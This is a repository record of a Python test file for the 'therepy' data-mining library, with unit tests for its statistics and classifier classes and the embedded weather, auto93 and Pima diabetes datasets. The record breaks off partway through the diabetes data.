a52982e5fb1d24a8af099fd7b983f8c090b14d67
refs/heads/master
2022-12-12T08:54:49.972520
2020-08-22T16:01:52
2020-08-22T16:01:52
283,937,087
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5683415532112122, "alphanum_fraction": 0.6615478992462158, "avg_line_length": 99.63742065429688, "blob_id": "81c2352853a7631774c2b918e904803b2d0c98da", "content_id": "44c54d6ef0d60a1dcb982b7a83cc229efa5133e8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 259242, "license_type": "permissive", "max_line_length": 373, "num_lines": 2576, "path": "/therepy/test_there.py", "repo_name": "timm/therepy", "src_encoding": "UTF-8", "text": "from .there import *\nimport random\n\n\ndef test_struct():\n y = o(b=2, _c=3, f=10)\n assert(y.b == 2)\n assert(y._c == 3)\n assert(y.f == 10)\n\n\ndef test_csv():\n n = 0\n for row in csv(auto93):\n n += 1\n assert len(row) == 7\n assert n == 399\n\n\ndef test_num():\n n = Num(all=[9, 2, 5, 4, 12, 7, 8, 11, 9, 3,\n 7, 4, 12, 5, 4, 10, 9, 6, 9, 4])\n assert(n.mu == 7)\n assert(3.06 <= n.sd <= 3.07)\n\n\ndef test_rows():\n r = Rows(auto93)\n print(r.cols.nums[1])\n assert len(r.cols.all) == 7\n assert len(r.all) == 398\n\n\ndef test_tab2():\n r = Rows(auto93)\n bins = r.bins(40.0)\n for x, bs in bins.items():\n print(\"\")\n for n, b in enumerate(bs):\n print(x, n, r.cols.all[x],\n b.x, b.xlo, b.xhi, b.val)\n\n\ndef test_some():\n random.seed(1)\n n = 1\n e = 30\n while n < 1.5:\n a = [random.random()**0.5 for _ in range(10000)]\n sa = Sample(all=a, enough=e)\n sb = Sample(all=[x*n for x in a], enough=e)\n print(round(n, 3), sa.same(sb))\n n = n*1.01\n\n\ndef test_somes():\n a = [random.random()**0.5 for _ in range(100)]\n b = Sample(all=[x*1 for x in a])\n c = Sample(all=[x*1.116 for x in a])\n d = Sample(all=[x*1.051 for x in a])\n e = Sample(all=[x*1.1062 for x in a])\n f = Sample(all=[x*1.489 for x in a])\n g = Sample(all=a)\n b1 = Sample(all=[x*1 for x in a])\n c1 = Sample(all=[x*1.116 for x in a])\n d1 = Sample(all=[x*1.051 for x in a])\n e1 = Sample(all=[x*1.1062 for x in a])\n f1 = Sample(all=[x*1.489 for x in a])\n g1 = Sample(all=a)\n for k in rankSamples([b, c, d, e, f, g, b1, c1, d1, e1, f1, g1]):\n print(k.rank, k.describe())\n print(22)\n\n\ndef seed0(csv, m=20):\n r = Rows(csv)\n s = Seen(r)\n a = Abcd(\"seed0\", \"Seen\")\n for one in shuffle(r.all):\n if s.n > m:\n a(one[-1], s.guess(one)[0])\n s.train(one)\n return a\n\n\ndef test_seen1(): seed0(diabetes)\ndef test_seen2(): seed0(weather, m=2)\ndef test_seen3(): seed0(soybean, m=20)\n\n\ndef doubt(csv, inits=50, guesses=50, sample=1000):\n r = Rows(csv)\n s = Seen(r)\n a = Abcd(\"al\", \"Seen\")\n rows = shuffle(r.all)[:]\n while rows:\n s.train(rows.pop())\n #print(\"i\", end=\"\")\n inits -= 1\n if inits < 0:\n break\n while rows:\n ordered = s.acquire(rows[:sample])\n best = ordered.pop()\n rows = ordered + rows[sample:]\n a(best[-1], s.guess(best)[0])\n s.train(best)\n #print(\"g\", end=\"\")\n guesses -= 1\n if guesses < 0:\n break\n for row in rows:\n a(row[-1], s.guess(row)[0])\n return a\n\n\ndef test_doubt(repeats=20):\n random.seed(1)\n base = o(acc=[], pd=[], pf=[], prec=[], f=[], g=[])\n rx = o(acc=[], pd=[], pf=[], prec=[], f=[], g=[])\n for r in range(repeats):\n print(\"0\", end=\"\")\n seed0(diabetes).report(goal=\"tested_positive\", cache=base)\n for r in range(repeats):\n print(\"1\", end=\"\")\n doubt(diabetes).report(goal=\"tested_positive\", cache=rx)\n\n\ndef worker1(csv, goal=None, m=20):\n print(\"\\n------\", 10)\n random.seed(1)\n r = Rows(csv)\n bins = r.bins()\n s = Seen()\n a = Abcd()\n for n, one in enumerate(shuffle(r.all)):\n if n > m:\n a(one.bins[-1], s.likes(one)[0])\n s.train(one)\n a.header()\n a.report()\n\n\ndef rest_train1(): worker1(diabetes, m=32)\ndef rest_train2(): worker1(weather, m=4, goal='yes')\n\n\ndef test_abcd():\n a = Abcd()\n y, n, m = \"yes\", \"no\", \"maybe\"\n for _ in range(6):\n a(y, y)\n for _ in range(2):\n a(n, n)\n for _ in range(5):\n a(m, m)\n a(m, n)\n # a.header()\n a.report()\n assert(0.92 <= a.all[y].acc <= 0.93)\n assert(0.83 <= a.all[m].pd <= 0.84)\n assert(0.08 <= a.all[n].pf <= 0.09)\n\n \"\"\"\n db rx n a b c d acc pd pf prec f g class\n -------------------------------------------------------------------------------------\n all all 6 8 0 0 6 93 100 0 100 100 100 yes\n all all 2 11 0 1 2 93 100 8 67 80 96 no\n all all 6 8 1 0 5 93 83 0 100 91 91 maybe\n \"\"\"\n\n\ndef test_dom(n=20):\n t = Rows(auto93)\n t.bins(goal=40)\n for r1 in t.all:\n r1.dom = 0\n for _ in range(n):\n r1.dom += r1.better(choice(t.all)) / n\n t.all = sorted(t.all, key=lambda r: r.dom)\n assert(t.all[0].dom < t.all[-1].dom)\n for row in t.all[0::n]:\n print(row.status(), round(row.dom, 2))\n\n\n# -------------------------------------------\nweather = \"\"\"\noutlook,$temperature,$humidity,windy,!play\nsunny,85,85,FALSE,no\nsunny,80,90,TRUE,no\novercast,83,86,FALSE,yes\nrainy,70,96,FALSE,yes\nrainy,68,80,FALSE,yes\nrainy,65,70,TRUE,no\novercast,64,65,TRUE,yes\nsunny,72,95,FALSE,no\nsunny,69,70,FALSE,yes\nrainy,75,80,FALSE,yes\nsunny,75,70,TRUE,yes\novercast,72,90,TRUE,yes\novercast,81,75,FALSE,yes\n\"\"\"\n\n# -------------------------------------------\nauto93 = \"\"\"\ncylinders, $displacement, $horsepower, >weight,>acceleration,$model,?origin,>!mpg\n8, 304.0, 193, 4732, 18.5, 70, 1, 10\n8, 360, 215, 4615, 14, 70, 1, 10\n8, 307, 200, 4376, 15, 70, 1, 10\n8, 318, 210, 4382, 13.5, 70, 1, 10\n8, 429, 208, 4633, 11, 72, 1, 10\n8, 400, 150, 4997, 14, 73, 1, 10\n8, 350, 180, 3664, 11, 73, 1, 10\n8, 383, 180, 4955, 11.5, 71, 1, 10\n8, 350, 160, 4456, 13.5, 72, 1, 10\n8, 429, 198, 4952, 11.5, 73, 1, 10\n8, 455, 225, 4951, 11, 73, 1, 10\n8, 400, 167, 4906, 12.5, 73, 1, 10\n8, 350, 180, 4499, 12.5, 73, 1, 10\n8, 400, 170, 4746, 12, 71, 1, 10\n8, 400, 175, 5140, 12, 71, 1, 10\n8, 350, 165, 4274, 12, 72, 1, 10\n8, 350, 155, 4502, 13.5, 72, 1, 10\n8, 400, 190, 4422, 12.5, 72, 1, 10\n8, 307, 130, 4098, 14, 72, 1, 10\n8, 302, 140, 4294, 16, 72, 1, 10\n8, 350, 175, 4100, 13, 73, 1, 10\n8, 350, 145, 3988, 13, 73, 1, 10\n8, 400, 150, 4464, 12, 73, 1, 10\n8, 351, 158, 4363, 13, 73, 1, 10\n8, 440, 215, 4735, 11, 73, 1, 10\n8, 360, 175, 3821, 11, 73, 1, 10\n8, 360, 170, 4654, 13, 73, 1, 10\n8, 350, 150, 4699, 14.5, 74, 1, 10\n8, 302, 129, 3169, 12, 75, 1, 10\n8, 318, 150, 3940, 13.2, 76, 1, 10\n8, 350, 145, 4055, 12, 76, 1, 10\n8, 302, 130, 3870, 15, 76, 1, 10\n8, 318, 150, 3755, 14, 76, 1, 10\n8, 454, 220, 4354, 9, 70, 1, 10\n8, 440, 215, 4312, 8.5, 70, 1, 10\n8, 455, 225, 4425, 10, 70, 1, 10\n8, 340, 160, 3609, 8, 70, 1, 10\n8, 455, 225, 3086, 10, 70, 1, 10\n8, 350, 165, 4209, 12, 71, 1, 10\n8, 400, 175, 4464, 11.5, 71, 1, 10\n8, 351, 153, 4154, 13.5, 71, 1, 10\n8, 318, 150, 4096, 13, 71, 1, 10\n8, 400, 175, 4385, 12, 72, 1, 10\n8, 351, 153, 4129, 13, 72, 1, 10\n8, 318, 150, 4077, 14, 72, 1, 10\n8, 304, 150, 3672, 11.5, 73, 1, 10\n8, 302, 137, 4042, 14.5, 73, 1, 10\n8, 318, 150, 4237, 14.5, 73, 1, 10\n8, 318, 150, 4457, 13.5, 74, 1, 10\n8, 302, 140, 4638, 16, 74, 1, 10\n8, 304, 150, 4257, 15.5, 74, 1, 10\n8, 351, 148, 4657, 13.5, 75, 1, 10\n8, 351, 152, 4215, 12.8, 76, 1, 10\n8, 350, 165, 3693, 11.5, 70, 1, 20\n8, 429, 198, 4341, 10, 70, 1, 20\n8, 390, 190, 3850, 8.5, 70, 1, 20\n8, 383, 170, 3563, 10, 70, 1, 20\n8, 400, 150, 3761, 9.5, 70, 1, 20\n8, 318, 150, 4135, 13.5, 72, 1, 20\n8, 304, 150, 3892, 12.5, 72, 1, 20\n8, 318, 150, 3777, 12.5, 73, 1, 20\n8, 350, 145, 4082, 13, 73, 1, 20\n8, 318, 150, 3399, 11, 73, 1, 20\n6, 250, 100, 3336, 17, 74, 1, 20\n6, 250, 72, 3432, 21, 75, 1, 20\n6, 250, 72, 3158, 19.5, 75, 1, 20\n8, 350, 145, 4440, 14, 75, 1, 20\n6, 258, 110, 3730, 19, 75, 1, 20\n8, 302, 130, 4295, 14.9, 77, 1, 20\n8, 304, 120, 3962, 13.9, 76, 1, 20\n8, 318, 145, 4140, 13.7, 77, 1, 20\n8, 350, 170, 4165, 11.4, 77, 1, 20\n8, 400, 190, 4325, 12.2, 77, 1, 20\n8, 351, 142, 4054, 14.3, 79, 1, 20\n8, 304, 150, 3433, 12, 70, 1, 20\n6, 225, 105, 3439, 15.5, 71, 1, 20\n6, 250, 100, 3278, 18, 73, 1, 20\n8, 400, 230, 4278, 9.5, 73, 1, 20\n6, 250, 100, 3781, 17, 74, 1, 20\n6, 258, 110, 3632, 18, 74, 1, 20\n8, 302, 140, 4141, 14, 74, 1, 20\n8, 400, 170, 4668, 11.5, 75, 1, 20\n8, 318, 150, 4498, 14.5, 75, 1, 20\n6, 250, 105, 3897, 18.5, 75, 1, 20\n8, 318, 150, 4190, 13, 76, 1, 20\n8, 400, 180, 4220, 11.1, 77, 1, 20\n8, 351, 149, 4335, 14.5, 77, 1, 20\n6, 163, 133, 3410, 15.8, 78, 2, 20\n6, 168, 120, 3820, 16.7, 76, 2, 20\n8, 350, 180, 4380, 12.1, 76, 1, 20\n8, 351, 138, 3955, 13.2, 79, 1, 20\n8, 350, 155, 4360, 14.9, 79, 1, 20\n8, 302, 140, 3449, 10.5, 70, 1, 20\n6, 250, 100, 3329, 15.5, 71, 1, 20\n8, 304, 150, 3672, 11.5, 72, 1, 20\n6, 231, 110, 3907, 21, 75, 1, 20\n8, 260, 110, 4060, 19, 77, 1, 20\n6, 163, 125, 3140, 13.6, 78, 2, 20\n8, 305, 130, 3840, 15.4, 79, 1, 20\n8, 305, 140, 4215, 13, 76, 1, 20\n6, 258, 95, 3193, 17.8, 76, 1, 20\n8, 305, 145, 3880, 12.5, 77, 1, 20\n6, 250, 110, 3520, 16.4, 77, 1, 20\n8, 318, 140, 4080, 13.7, 78, 1, 20\n8, 302, 129, 3725, 13.4, 79, 1, 20\n6, 225, 85, 3465, 16.6, 81, 1, 20\n6, 231, 165, 3445, 13.4, 78, 1, 20\n8, 307, 130, 3504, 12, 70, 1, 20\n8, 318, 150, 3436, 11, 70, 1, 20\n6, 199, 97, 2774, 15.5, 70, 1, 20\n6, 232, 100, 3288, 15.5, 71, 1, 20\n6, 258, 110, 2962, 13.5, 71, 1, 20\n6, 250, 88, 3139, 14.5, 71, 1, 20\n4, 121, 112, 2933, 14.5, 72, 2, 20\n6, 225, 105, 3121, 16.5, 73, 1, 20\n6, 232, 100, 2945, 16, 73, 1, 20\n6, 250, 88, 3021, 16.5, 73, 1, 20\n6, 232, 100, 2789, 15, 73, 1, 20\n3, 70, 90, 2124, 13.5, 73, 3, 20\n6, 225, 105, 3613, 16.5, 74, 1, 20\n6, 250, 105, 3459, 16, 75, 1, 20\n6, 225, 95, 3785, 19, 75, 1, 20\n6, 171, 97, 2984, 14.5, 75, 1, 20\n6, 250, 78, 3574, 21, 76, 1, 20\n6, 258, 120, 3410, 15.1, 78, 1, 20\n8, 302, 139, 3205, 11.2, 78, 1, 20\n8, 318, 135, 3830, 15.2, 79, 1, 20\n6, 250, 110, 3645, 16.2, 76, 1, 20\n6, 250, 98, 3525, 19, 77, 1, 20\n8, 360, 150, 3940, 13, 79, 1, 20\n6, 225, 110, 3620, 18.7, 78, 1, 20\n6, 232, 100, 2634, 13, 71, 1, 20\n6, 250, 88, 3302, 15.5, 71, 1, 20\n6, 250, 100, 3282, 15, 71, 1, 20\n3, 70, 97, 2330, 13.5, 72, 3, 20\n4, 122, 85, 2310, 18.5, 73, 1, 20\n4, 121, 112, 2868, 15.5, 73, 2, 20\n6, 232, 100, 2901, 16, 74, 1, 20\n6, 225, 95, 3264, 16, 75, 1, 20\n6, 232, 90, 3211, 17, 75, 1, 20\n4, 120, 88, 3270, 21.9, 76, 2, 20\n6, 156, 108, 2930, 15.5, 76, 3, 20\n6, 225, 100, 3630, 17.7, 77, 1, 20\n6, 225, 90, 3381, 18.7, 80, 1, 20\n6, 231, 105, 3535, 19.2, 78, 1, 20\n8, 305, 145, 3425, 13.2, 78, 1, 20\n8, 267, 125, 3605, 15, 79, 1, 20\n8, 318, 140, 3735, 13.2, 78, 1, 20\n6, 232, 90, 3210, 17.2, 78, 1, 20\n6, 200, 85, 2990, 18.2, 79, 1, 20\n8, 260, 110, 3365, 15.5, 78, 1, 20\n4, 140, 90, 2408, 19.5, 72, 1, 20\n4, 97, 88, 2279, 19, 73, 3, 20\n4, 114, 91, 2582, 14, 73, 2, 20\n6, 156, 122, 2807, 13.5, 73, 3, 20\n6, 198, 95, 3102, 16.5, 74, 1, 20\n8, 262, 110, 3221, 13.5, 75, 1, 20\n6, 232, 100, 2914, 16, 75, 1, 20\n6, 225, 100, 3651, 17.7, 76, 1, 20\n4, 130, 102, 3150, 15.7, 76, 2, 20\n8, 302, 139, 3570, 12.8, 78, 1, 20\n6, 200, 85, 2965, 15.8, 78, 1, 20\n6, 232, 90, 3265, 18.2, 79, 1, 20\n6, 200, 88, 3060, 17.1, 81, 1, 20\n5, 131, 103, 2830, 15.9, 78, 2, 20\n6, 231, 105, 3425, 16.9, 77, 1, 20\n6, 200, 95, 3155, 18.2, 78, 1, 20\n6, 225, 100, 3430, 17.2, 78, 1, 20\n6, 231, 105, 3380, 15.8, 78, 1, 20\n6, 225, 110, 3360, 16.6, 79, 1, 20\n6, 200, 85, 3070, 16.7, 78, 1, 20\n6, 200, 85, 2587, 16, 70, 1, 20\n6, 199, 90, 2648, 15, 70, 1, 20\n4, 122, 86, 2226, 16.5, 72, 1, 20\n4, 120, 87, 2979, 19.5, 72, 2, 20\n4, 140, 72, 2401, 19.5, 73, 1, 20\n6, 155, 107, 2472, 14, 73, 1, 20\n6, 200, ?, 2875, 17, 74, 1, 20\n6, 231, 110, 3039, 15, 75, 1, 20\n4, 134, 95, 2515, 14.8, 78, 3, 20\n4, 121, 110, 2600, 12.8, 77, 2, 20\n3, 80, 110, 2720, 13.5, 77, 3, 20\n6, 231, 115, 3245, 15.4, 79, 1, 20\n4, 121, 115, 2795, 15.7, 78, 2, 20\n6, 198, 95, 2833, 15.5, 70, 1, 20\n4, 140, 72, 2408, 19, 71, 1, 20\n4, 121, 76, 2511, 18, 72, 2, 20\n4, 122, 86, 2395, 16, 72, 1, 20\n4, 108, 94, 2379, 16.5, 73, 3, 20\n4, 121, 98, 2945, 14.5, 75, 2, 20\n6, 225, 100, 3233, 15.4, 76, 1, 20\n6, 250, 105, 3353, 14.5, 76, 1, 20\n6, 146, 97, 2815, 14.5, 77, 3, 20\n6, 232, 112, 2835, 14.7, 82, 1, 20\n4, 140, 88, 2890, 17.3, 79, 1, 20\n6, 231, 110, 3415, 15.8, 81, 1, 20\n6, 232, 90, 3085, 17.6, 76, 1, 20\n4, 122, 86, 2220, 14, 71, 1, 20\n4, 97, 54, 2254, 23.5, 72, 2, 20\n4, 120, 97, 2506, 14.5, 72, 3, 20\n6, 198, 95, 2904, 16, 73, 1, 20\n4, 140, 83, 2639, 17, 75, 1, 20\n4, 140, 78, 2592, 18.5, 75, 1, 20\n4, 115, 95, 2694, 15, 75, 2, 20\n4, 120, 88, 2957, 17, 75, 2, 20\n8, 350, 125, 3900, 17.4, 79, 1, 20\n4, 151, ?, 3035, 20.5, 82, 1, 20\n4, 156, 105, 2745, 16.7, 78, 1, 20\n6, 173, 110, 2725, 12.6, 81, 1, 20\n4, 140, ?, 2905, 14.3, 80, 1, 20\n3, 70, 100, 2420, 12.5, 80, 3, 20\n4, 151, 85, 2855, 17.6, 78, 1, 20\n4, 119, 97, 2405, 14.9, 78, 3, 20\n8, 260, 90, 3420, 22.2, 79, 1, 20\n4, 113, 95, 2372, 15, 70, 3, 20\n4, 107, 90, 2430, 14.5, 70, 2, 20\n4, 113, 95, 2278, 15.5, 72, 3, 20\n4, 116, 75, 2158, 15.5, 73, 2, 20\n4, 121, 110, 2660, 14, 73, 2, 20\n4, 90, 75, 2108, 15.5, 74, 2, 20\n4, 120, 97, 2489, 15, 74, 3, 20\n4, 134, 96, 2702, 13.5, 75, 3, 20\n4, 119, 97, 2545, 17, 75, 3, 20\n6, 200, 81, 3012, 17.6, 76, 1, 20\n4, 140, 92, 2865, 16.4, 82, 1, 20\n6, 146, 120, 2930, 13.8, 81, 3, 20\n4, 151, 90, 3003, 20.1, 80, 1, 20\n4, 98, 60, 2164, 22.1, 76, 1, 20\n4, 151, 88, 2740, 16, 77, 1, 20\n4, 110, 87, 2672, 17.5, 70, 2, 30\n4, 104, 95, 2375, 17.5, 70, 2, 30\n4, 113, 95, 2228, 14, 71, 3, 30\n4, 98, ?, 2046, 19, 71, 1, 30\n4, 97.5, 80, 2126, 17, 72, 1, 30\n4, 140, 75, 2542, 17, 74, 1, 30\n4, 90, 71, 2223, 16.5, 75, 2, 30\n4, 121, 115, 2671, 13.5, 75, 2, 30\n4, 116, 81, 2220, 16.9, 76, 2, 30\n4, 140, 92, 2572, 14.9, 76, 1, 30\n6, 181, 110, 2945, 16.4, 82, 1, 30\n4, 140, 88, 2720, 15.4, 78, 1, 30\n5, 183, 77, 3530, 20.1, 79, 2, 30\n6, 168, 116, 2900, 12.6, 81, 3, 30\n4, 122, 96, 2300, 15.5, 77, 1, 30\n4, 140, 89, 2755, 15.8, 77, 1, 30\n4, 156, 92, 2620, 14.4, 81, 1, 30\n4, 97, 46, 1835, 20.5, 70, 2, 30\n4, 121, 113, 2234, 12.5, 70, 2, 30\n4, 91, 70, 1955, 20.5, 71, 1, 30\n4, 96, 69, 2189, 18, 72, 2, 30\n4, 97, 46, 1950, 21, 73, 2, 30\n4, 98, 90, 2265, 15.5, 73, 2, 30\n4, 122, 80, 2451, 16.5, 74, 1, 30\n4, 79, 67, 1963, 15.5, 74, 2, 30\n4, 97, 78, 2300, 14.5, 74, 2, 30\n4, 116, 75, 2246, 14, 74, 2, 30\n4, 108, 93, 2391, 15.5, 74, 3, 30\n4, 98, 79, 2255, 17.7, 76, 1, 30\n4, 97, 75, 2265, 18.2, 77, 3, 30\n4, 156, 92, 2585, 14.5, 82, 1, 30\n4, 140, 88, 2870, 18.1, 80, 1, 30\n4, 140, 72, 2565, 13.6, 76, 1, 30\n4, 151, 84, 2635, 16.4, 81, 1, 30\n8, 350, 105, 3725, 19, 81, 1, 30\n6, 173, 115, 2700, 12.9, 79, 1, 30\n4, 97, 88, 2130, 14.5, 70, 3, 30\n4, 97, 88, 2130, 14.5, 71, 3, 30\n4, 97, 60, 1834, 19, 71, 2, 30\n4, 97, 88, 2100, 16.5, 72, 3, 30\n4, 101, 83, 2202, 15.3, 76, 2, 30\n4, 112, 88, 2640, 18.6, 82, 1, 30\n4, 151, 90, 2735, 18, 82, 1, 30\n4, 151, 90, 2950, 17.3, 82, 1, 30\n4, 140, 86, 2790, 15.6, 82, 1, 30\n4, 119, 97, 2300, 14.7, 78, 3, 30\n4, 141, 71, 3190, 24.8, 79, 2, 30\n4, 135, 84, 2490, 15.7, 81, 1, 30\n4, 121, 80, 2670, 15, 79, 1, 30\n4, 134, 95, 2560, 14.2, 78, 3, 30\n4, 156, 105, 2800, 14.4, 80, 1, 30\n4, 140, 90, 2264, 15.5, 71, 1, 30\n4, 116, 90, 2123, 14, 71, 2, 30\n4, 97, 92, 2288, 17, 72, 3, 30\n4, 98, 80, 2164, 15, 72, 1, 30\n4, 90, 75, 2125, 14.5, 74, 1, 30\n4, 107, 86, 2464, 15.5, 76, 2, 30\n4, 97, 75, 2155, 16.4, 76, 3, 30\n4, 151, 90, 2678, 16.5, 80, 1, 30\n4, 112, 88, 2605, 19.6, 82, 1, 30\n4, 120, 79, 2625, 18.6, 82, 1, 30\n4, 141, 80, 3230, 20.4, 81, 2, 30\n4, 151, 90, 2670, 16, 79, 1, 30\n6, 173, 115, 2595, 11.3, 79, 1, 30\n4, 68, 49, 1867, 19.5, 73, 2, 30\n4, 98, 83, 2219, 16.5, 74, 2, 30\n4, 97, 75, 2171, 16, 75, 3, 30\n4, 90, 70, 1937, 14, 75, 2, 30\n4, 85, 52, 2035, 22.2, 76, 1, 30\n4, 90, 70, 1937, 14.2, 76, 2, 30\n4, 97, 78, 1940, 14.5, 77, 2, 30\n4, 135, 84, 2525, 16, 82, 1, 30\n4, 97, 71, 1825, 12.2, 76, 2, 30\n4, 98, 68, 2135, 16.6, 78, 3, 30\n4, 134, 90, 2711, 15.5, 80, 3, 30\n4, 89, 62, 1845, 15.3, 80, 2, 30\n4, 98, 65, 2380, 20.7, 81, 1, 30\n4, 79, 70, 2074, 19.5, 71, 2, 30\n4, 88, 76, 2065, 14.5, 71, 2, 30\n4, 111, 80, 2155, 14.8, 77, 1, 30\n4, 97, 67, 1985, 16.4, 77, 3, 30\n4, 98, 68, 2155, 16.5, 78, 1, 30\n4, 146, 67, 3250, 21.8, 80, 2, 30\n4, 135, 84, 2385, 12.9, 81, 1, 30\n4, 98, 63, 2051, 17, 77, 1, 30\n4, 97, 78, 2190, 14.1, 77, 2, 30\n6, 145, 76, 3160, 19.6, 81, 2, 30\n4, 105, 75, 2230, 14.5, 78, 1, 30\n4, 71, 65, 1773, 19, 71, 3, 30\n4, 79, 67, 1950, 19, 74, 3, 30\n4, 76, 52, 1649, 16.5, 74, 3, 30\n4, 79, 67, 2000, 16, 74, 2, 30\n4, 112, 85, 2575, 16.2, 82, 1, 30\n4, 91, 68, 1970, 17.6, 82, 3, 30\n4, 119, 82, 2720, 19.4, 82, 1, 30\n4, 120, 75, 2542, 17.5, 80, 3, 30\n4, 98, 68, 2045, 18.5, 77, 3, 30\n4, 89, 71, 1990, 14.9, 78, 2, 30\n4, 120, 74, 2635, 18.3, 81, 3, 30\n4, 85, 65, 2020, 19.2, 79, 3, 30\n4, 89, 71, 1925, 14, 79, 2, 30\n4, 71, 65, 1836, 21, 74, 3, 30\n4, 83, 61, 2003, 19, 74, 3, 30\n4, 85, 70, 1990, 17, 76, 3, 30\n4, 91, 67, 1965, 15.7, 82, 3, 30\n4, 144, 96, 2665, 13.9, 82, 3, 30\n4, 135, 84, 2295, 11.6, 82, 1, 30\n4, 98, 70, 2120, 15.5, 80, 1, 30\n4, 108, 75, 2265, 15.2, 80, 3, 30\n4, 97, 67, 2065, 17.8, 81, 3, 30\n4, 107, 72, 2290, 17, 80, 3, 30\n4, 108, 75, 2350, 16.8, 81, 3, 30\n6, 168, 132, 2910, 11.4, 80, 3, 30\n4, 78, 52, 1985, 19.4, 78, 3, 30\n4, 119, 100, 2615, 14.8, 81, 3, 30\n4, 91, 53, 1795, 17.5, 75, 3, 30\n4, 91, 53, 1795, 17.4, 76, 3, 30\n4, 105, 74, 2190, 14.2, 81, 2, 30\n4, 85, 70, 1945, 16.8, 77, 3, 30\n4, 98, 83, 2075, 15.9, 77, 1, 30\n4, 151, 90, 2556, 13.2, 79, 1, 30\n4, 107, 75, 2210, 14.4, 81, 3, 30\n4, 97, 67, 2145, 18, 80, 3, 30\n4, 112, 88, 2395, 18, 82, 1, 30\n4, 108, 70, 2245, 16.9, 82, 3, 30\n4, 86, 65, 1975, 15.2, 79, 3, 30\n4, 91, 68, 1985, 16, 81, 3, 30\n4, 105, 70, 2200, 13.2, 79, 1, 30\n4, 97, 78, 2188, 15.8, 80, 2, 30\n4, 98, 65, 2045, 16.2, 81, 1, 30\n4, 105, 70, 2150, 14.9, 79, 1, 30\n4, 100, ?, 2320, 15.8, 81, 2, 30\n4, 105, 63, 2215, 14.9, 81, 1, 30\n4, 72, 69, 1613, 18, 71, 3, 40\n4, 122, 88, 2500, 15.1, 80, 2, 40\n4, 81, 60, 1760, 16.1, 81, 3, 40\n4, 98, 80, 1915, 14.4, 79, 1, 40\n4, 79, 58, 1825, 18.6, 77, 2, 40\n4, 105, 74, 1980, 15.3, 82, 2, 40\n4, 98, 70, 2125, 17.3, 82, 1, 40\n4, 120, 88, 2160, 14.5, 82, 3, 40\n4, 107, 75, 2205, 14.5, 82, 3, 40\n4, 135, 84, 2370, 13, 82, 1, 40\n4, 98, 66, 1800, 14.4, 78, 1, 40\n4, 91, 60, 1800, 16.4, 78, 3, 40\n5, 121, 67, 2950, 19.9, 80, 2, 40\n4, 119, 92, 2434, 15, 80, 3, 40\n4, 85, 65, 1975, 19.4, 81, 3, 40\n4, 91, 68, 2025, 18.2, 82, 3, 40\n4, 86, 65, 2019, 16.4, 80, 3, 40\n4, 91, 69, 2130, 14.7, 79, 2, 40\n4, 89, 62, 2050, 17.3, 81, 3, 40\n4, 105, 63, 2125, 14.7, 82, 1, 40\n4, 91, 67, 1965, 15, 82, 3, 40\n4, 91, 67, 1995, 16.2, 82, 3, 40\n6, 262, 85, 3015, 17, 82, 1, 40\n4, 89, 60, 1968, 18.8, 80, 3, 40\n4, 86, 64, 1875, 16.4, 81, 1, 40\n4, 79, 58, 1755, 16.9, 81, 3, 40\n4, 85, 70, 2070, 18.6, 78, 3, 40\n4, 85, 65, 2110, 19.2, 80, 3, 40\n4, 85, ?, 1835, 17.3, 80, 2, 40\n4, 98, 76, 2144, 14.7, 80, 2, 40\n4, 90, 48, 1985, 21.5, 78, 2, 40\n4, 90, 48, 2335, 23.7, 80, 2, 40\n4, 97, 52, 2130, 24.6, 82, 2, 40\n4, 90, 48, 2085, 21.7, 80, 2, 40\n4, 91, 67, 1850, 13.8, 80, 3, 40\n4, 86, 65, 2110, 17.9, 80, 3, 50\n\"\"\"\n\ndiabetes = \"\"\"\n$preg, $plas, $pres, $skin, $insu, $mass, $pedi, $age, !class\n6, 148, 72, 35, 0, 33.6, 0.627, 50, tested_positive\n1, 85, 66, 29, 0, 26.6, 0.351, 31, tested_negative\n8, 183, 64, 0, 0, 23.3, 0.672, 32, tested_positive\n1, 89, 66, 23, 94, 28.1, 0.167, 21, tested_negative\n0, 137, 40, 35, 168, 43.1, 2.288, 33, tested_positive\n5, 116, 74, 0, 0, 25.6, 0.201, 30, tested_negative\n3, 78, 50, 32, 88, 31, 0.248, 26, tested_positive\n10, 115, 0, 0, 0, 35.3, 0.134, 29, tested_negative\n2, 197, 70, 45, 543, 30.5, 0.158, 53, tested_positive\n8, 125, 96, 0, 0, 0, 0.232, 54, tested_positive\n4, 110, 92, 0, 0, 37.6, 0.191, 30, tested_negative\n10, 168, 74, 0, 0, 38, 0.537, 34, tested_positive\n10, 139, 80, 0, 0, 27.1, 1.441, 57, tested_negative\n1, 189, 60, 23, 846, 30.1, 0.398, 59, tested_positive\n5, 166, 72, 19, 175, 25.8, 0.587, 51, tested_positive\n7, 100, 0, 0, 0, 30, 0.484, 32, tested_positive\n0, 118, 84, 47, 230, 45.8, 0.551, 31, tested_positive\n7, 107, 74, 0, 0, 29.6, 0.254, 31, tested_positive\n1, 103, 30, 38, 83, 43.3, 0.183, 33, tested_negative\n1, 115, 70, 30, 96, 34.6, 0.529, 32, tested_positive\n3, 126, 88, 41, 235, 39.3, 0.704, 27, tested_negative\n8, 99, 84, 0, 0, 35.4, 0.388, 50, tested_negative\n7, 196, 90, 0, 0, 39.8, 0.451, 41, tested_positive\n9, 119, 80, 35, 0, 29, 0.263, 29, tested_positive\n11, 143, 94, 33, 146, 36.6, 0.254, 51, tested_positive\n10, 125, 70, 26, 115, 31.1, 0.205, 41, tested_positive\n7, 147, 76, 0, 0, 39.4, 0.257, 43, tested_positive\n1, 97, 66, 15, 140, 23.2, 0.487, 22, tested_negative\n13, 145, 82, 19, 110, 22.2, 0.245, 57, tested_negative\n5, 117, 92, 0, 0, 34.1, 0.337, 38, tested_negative\n5, 109, 75, 26, 0, 36, 0.546, 60, tested_negative\n3, 158, 76, 36, 245, 31.6, 0.851, 28, tested_positive\n3, 88, 58, 11, 54, 24.8, 0.267, 22, tested_negative\n6, 92, 92, 0, 0, 19.9, 0.188, 28, tested_negative\n10, 122, 78, 31, 0, 27.6, 0.512, 45, tested_negative\n4, 103, 60, 33, 192, 24, 0.966, 33, tested_negative\n11, 138, 76, 0, 0, 33.2, 0.42, 35, tested_negative\n9, 102, 76, 37, 0, 32.9, 0.665, 46, tested_positive\n2, 90, 68, 42, 0, 38.2, 0.503, 27, tested_positive\n4, 111, 72, 47, 207, 37.1, 1.39, 56, tested_positive\n3, 180, 64, 25, 70, 34, 0.271, 26, tested_negative\n7, 133, 84, 0, 